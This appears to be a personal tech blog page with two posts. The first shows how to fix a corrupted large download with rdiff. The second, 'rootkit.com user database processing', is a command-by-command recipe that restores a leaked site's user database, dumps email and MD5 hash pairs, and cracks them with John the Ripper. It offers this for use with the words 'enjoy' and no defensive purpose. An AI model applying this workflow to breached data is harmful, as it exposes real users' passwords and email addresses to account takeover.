Showing posts with label mad skillz. Show all posts
Showing posts with label mad skillz. Show all posts

Aug 21, 2012

Recovering large corrupted files

I've uploaded relatively big archive, about 8G, and sent download link to remote colleague.
He downloaded the file, but unfortunately his copy was corrupted. File size was pretty close, but checksum was wrong.
Obvious and boring solution, download it again, but there might be a better solution.
Rdiff is not-so-well-known utility, it uses rolling checksum algorithm from rsync.
Usage is pretty straight forward:

  • rdiff signature broken-file broken-file-signature
  • rdiff delta broken-file-signature good-file good-file-delta
  • rdiff patch broken-file good-file-delta broken-file-fixed


To summarize:

  1. Colleague creates signature of his corrupted file, and sends it to me. 
  2. Based on a copy of good file I have, and signature file from colleague, I create delta and send it to colleague.
  3. Colleague applies my delta to his corrupted file, and gets original good file.
  4. PROFIT

Mar 29, 2011

rootkit.com user database processing


## Build the current version of JTR
$wget http://www.openwall.com/john/g/john-1.7.6-jumbo-12.tar.gz
$tar -zxvf john-1.7.6-jumbo-12.tar.gz
$cd john-1.7.6-jumbo-12/src
$make clean linux-x86-64
$cd ../run/
$./john --test

## restore mysql database
$mysql -p
>create database test;
>use test;
>source /tmp/xxx_backup

## dump user/password into txt file
>SELECT email,password INTO OUTFILE '/tmp/xxx.txt' FIELDS TERMINATED BY ':' LINES TERMINATED BY '\n' FROM usertable where length(password)=32;
## feed it into JTR
$./john --wordlist=passwords.txt --format=raw-MD5 /tmp/xxx.txt
## enjoy
$./john --show /tmp/xxx.txt --format=raw-MD5